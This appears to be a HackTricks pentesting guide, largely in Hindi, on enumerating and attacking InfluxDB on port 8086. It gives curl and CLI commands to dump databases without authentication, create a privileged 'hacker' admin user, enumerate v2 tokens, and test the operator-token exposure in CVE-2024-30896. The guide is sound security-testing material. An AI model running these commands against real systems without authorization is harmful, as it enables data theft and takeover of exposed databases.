8086 - Pentesting InfluxDB

Tip

AWS हैकिंग सीखें और अभ्यास करें:HackTricks Training AWS Red Team Expert (ARTE)
GCP हैकिंग सीखें और अभ्यास करें: HackTricks Training GCP Red Team Expert (GRTE) Azure हैकिंग सीखें और अभ्यास करें: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks का समर्थन करें

बुनियादी जानकारी

InfluxDB InfluxData द्वारा विकसित एक ओपन-सोर्स time series database (TSDB) है। TSDBs समय-श्रृंखला डेटा, जो timestamp-value जोड़ों से बनता है, को स्टोर और सर्व करने के लिए अनुकूलित होते हैं। सामान्य प्रयोजन के डेटाबेस की तुलना में, TSDBs time series datasets के लिए भंडारण स्थान और प्रदर्शन में महत्वपूर्ण सुधार प्रदान करते हैं। वे विशेषीकृत कम्प्रेशन एल्गोरिदम का उपयोग करते हैं और पुराने डेटा को स्वचालित रूप से हटाने के लिए कॉन्फ़िगर किए जा सकते हैं। विशेषीकृत डेटाबेस इंडेक्स भी क्वेरी प्रदर्शन को बढ़ाते हैं।

डिफ़ॉल्ट पोर्ट: 8086

PORT     STATE SERVICE VERSION
8086/tcp open  http    InfluxDB http admin 1.7.5

पहचान और संस्करण (HTTP)

  • v1.x: GET /ping स्थिति 204 लौटाता है और हेडर जैसे X-Influxdb-Version और X-Influxdb-Build
  • v2.x+: GET /health सर्वर संस्करण और स्थिति के साथ JSON लौटाता है। बिना auth के काम करता है।
# v1 banner grab
curl -i http://<host>:8086/ping

# v2/compat health
curl -s http://<host>:8086/health | jq .

टिप: exposed instances अक्सर Prometheus-style metrics को /metrics पर भी प्रदान करते हैं।

Enumeration

From a pentester point of view यह एक और डेटाबेस है जो संवेदनशील जानकारी स्टोर कर सकता है, इसलिए सारी जानकारी dump करना जानना उपयोगी है।

Authentication

InfluxDB को authentication की आवश्यकता हो सकती है, या नहीं।

# Try unauthenticated CLI (v1 shell)
influx -host <host> -port 8086
> use _internal

यदि आपको इस तरह की कोई त्रुटि मिलती है: ERR: unable to parse authentication credentials तो इसका मतलब है कि यह कुछ credentials की उम्मीद कर रहा है।

influx –username influx –password influx_pass

influxdb में एक vulnerability थी जो authentication को bypass करने की अनुमति देती थी: CVE-2019-20933

मैनुअल एनेमरेशन (v1 HTTP API / InfluxQL)

भले ही कोई CLI उपलब्ध न हो, HTTP API आमतौर पर port 8086 पर exposed रहती है।

# List databases (unauth)
curl -sG "http://<host>:8086/query" --data-urlencode "q=SHOW DATABASES"

# List retention policies of a DB
curl -sG "http://<host>:8086/query" --data-urlencode "db=telegraf" --data-urlencode "q=SHOW RETENTION POLICIES ON telegraf"

# List users (if auth disabled)
curl -sG "http://<host>:8086/query" --data-urlencode "q=SHOW USERS"

# List measurements (tables)
curl -sG "http://<host>:8086/query" --data-urlencode "db=telegraf" --data-urlencode "q=SHOW MEASUREMENTS"

# List field keys (columns)
curl -sG "http://<host>:8086/query" --data-urlencode "db=telegraf" --data-urlencode "q=SHOW FIELD KEYS"

# Dump data from a measurement
curl -sG "http://<host>:8086/query" \
--data-urlencode "db=telegraf" \
--data-urlencode 'q=SELECT * FROM "cpu" LIMIT 5' | jq .

# Force epoch timestamps (useful for tooling)
curl -sG "http://<host>:8086/query" \
--data-urlencode "epoch=ns" \
--data-urlencode "db=telegraf" \
--data-urlencode 'q=SELECT * FROM "cpu" LIMIT 5'

Warning

कुछ परीक्षणों में authentication bypass के साथ यह देखा गया कि table का नाम double quotes के बीच होना चाहिए, जैसे: select * from "cpu"

यदि authentication disabled है, तो आप users भी बना सकते हैं और escalate कर सकते हैं:

# Create an admin user (v1, auth disabled)
curl -sG "http://<host>:8086/query" \
--data-urlencode "q=CREATE USER hacker WITH PASSWORD 'P@ssw0rd!' WITH ALL PRIVILEGES"

निम्न CLI उदाहरण की जानकारी here से ली गई थी।

Show databases

मिले हुए डेटाबेस telegraf और internal हैं (यह डेटाबेस आपको हर जगह मिल जाएगा)

> show databases
name: databases
name
----
telegraf
_internal

टेबल/measurements दिखाएँ

The InfluxDB documentation बताती है कि InfluxDB में measurements को SQL टेबल्स के समान माना जा सकता है। इन measurements के नाम उनके संबंधित सामग्री को दर्शाते हैं, हर एक में किसी विशिष्ट इकाई से संबंधित डेटा समाहित होता है।

> show measurements
name: measurements
name
----
cpu
disk
diskio
kernel
mem
processes
swap
system

कॉलम/फील्ड कीज़ दिखाएँ

फ़ील्ड कीज़ डेटाबेस के कॉलम की तरह होते हैं

> show field keys
name: cpu
fieldKey         fieldType
--------         ---------
usage_guest      float
usage_guest_nice float
usage_idle       float
usage_iowait     float

name: disk
fieldKey     fieldType
--------     ---------
free         integer
inodes_free  integer
inodes_total integer
inodes_used  integer

[ ... more keys ...]

Dump Table

और अंत में आप dump the table कुछ इस तरह कर सकते हैं:

select * from cpu
name: cpu
time                cpu       host   usage_guest usage_guest_nice usage_idle        usage_iowait        usage_irq usage_nice usage_softirq        usage_steal usage_system        usage_user
----                ---       ----   ----------- ---------------- ----------        ------------        --------- ---------- -------------        ----------- ------------        ----------
1497018760000000000 cpu-total ubuntu 0           0                99.297893681046   0                   0         0          0                    0           0.35105315947842414 0.35105315947842414
1497018760000000000 cpu1      ubuntu 0           0                99.69909729188728 0                   0         0          0                    0           0.20060180541622202 0.10030090270811101

InfluxDB v2.x API (Token-based)

InfluxDB 2.x token-based auth और नया API पेश करता है (still on 8086 by default). यदि आप कोई token प्राप्त करते हैं (leaked logs, default deployments, backups) तो आप enumerate कर सकते हैं:

# Basic org, bucket, and auth discovery
TOKEN="<token>"; H="-H Authorization: Token $TOKEN"

# Health & version
curl -s http://<host>:8086/health | jq .

# List organizations
curl -s $H http://<host>:8086/api/v2/organizations | jq .

# List buckets
curl -s $H 'http://<host>:8086/api/v2/buckets?limit=100' | jq .

# List authorizations (requires perms)
ORGID=<org_id>
curl -s $H "http://<host>:8086/api/v2/authorizations?orgID=$ORGID" | jq .

# Query data with Flux
curl -s $H -H 'Accept: application/csv' -H 'Content-Type: application/vnd.flux' \
-X POST http://<host>:8086/api/v2/query \
--data 'from(bucket:"telegraf") |> range(start:-1h) |> limit(n:5)'

नोट्स

  • v1.8+ के लिए, कुछ v2-compatible endpoints मौजूद हैं (/api/v2/query, /api/v2/write, /health)। यह तब उपयोगी होता है जब server v1 हो लेकिन v2-style requests स्वीकार करता हो।
  • v2 में, HTTP Authorization header का स्वरूप Token <value> होना चाहिए।

Automated Enumeration

msf6 > use auxiliary/scanner/http/influxdb_enum

हाल की vulns और privesc जो रुचि के हैं (पिछले वर्षों)

  • InfluxDB OSS 2.x through 2.7.11 operator token exposure (CVE-2024-30896). विशिष्ट परिस्थितियों में, एक authenticated उपयोगकर्ता जिसके पास default organization में authorization resource के लिए read access था, वह instance-wide operator token को सूचीबद्ध और प्राप्त कर सकता था (उदा., via influx auth ls or GET /api/v2/authorizations). उस token के साथ, attacker इंस्टेंस को प्रबंधित कर सकता है (buckets, tokens, users) और orgs के पार सभी डेटा तक पहुँच सकता है. जब उपलब्ध हो तो fixed build में upgrade करें और regular users को default org में न रखें. Quick test:
# Using a low-priv/all-access token tied to the default org
curl -s -H 'Authorization: Token <user_or_allAccess_token>' \
'http://<host>:8086/api/v2/authorizations?orgID=<default_org_id>' | jq .
# Look for entries of type "operator" and extract the raw token (if present)
  • कई legacy 1.x deployments अभी भी इंटरनेट पर /query और /write बिना auth के एक्सपोज़ रहती हैं। अगर auth disabled है, तो आप time-series को मनमर्जी से dump या modify कर सकते हैं; ऊपर दिखाए अनुसार admin users भी बना सकते हैं। CLI आपको ब्लॉक करे तब भी HTTP API से हमेशा verify करें।

संदर्भ

Tip

AWS हैकिंग सीखें और अभ्यास करें:HackTricks Training AWS Red Team Expert (ARTE)
GCP हैकिंग सीखें और अभ्यास करें: HackTricks Training GCP Red Team Expert (GRTE) Azure हैकिंग सीखें और अभ्यास करें: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks का समर्थन करें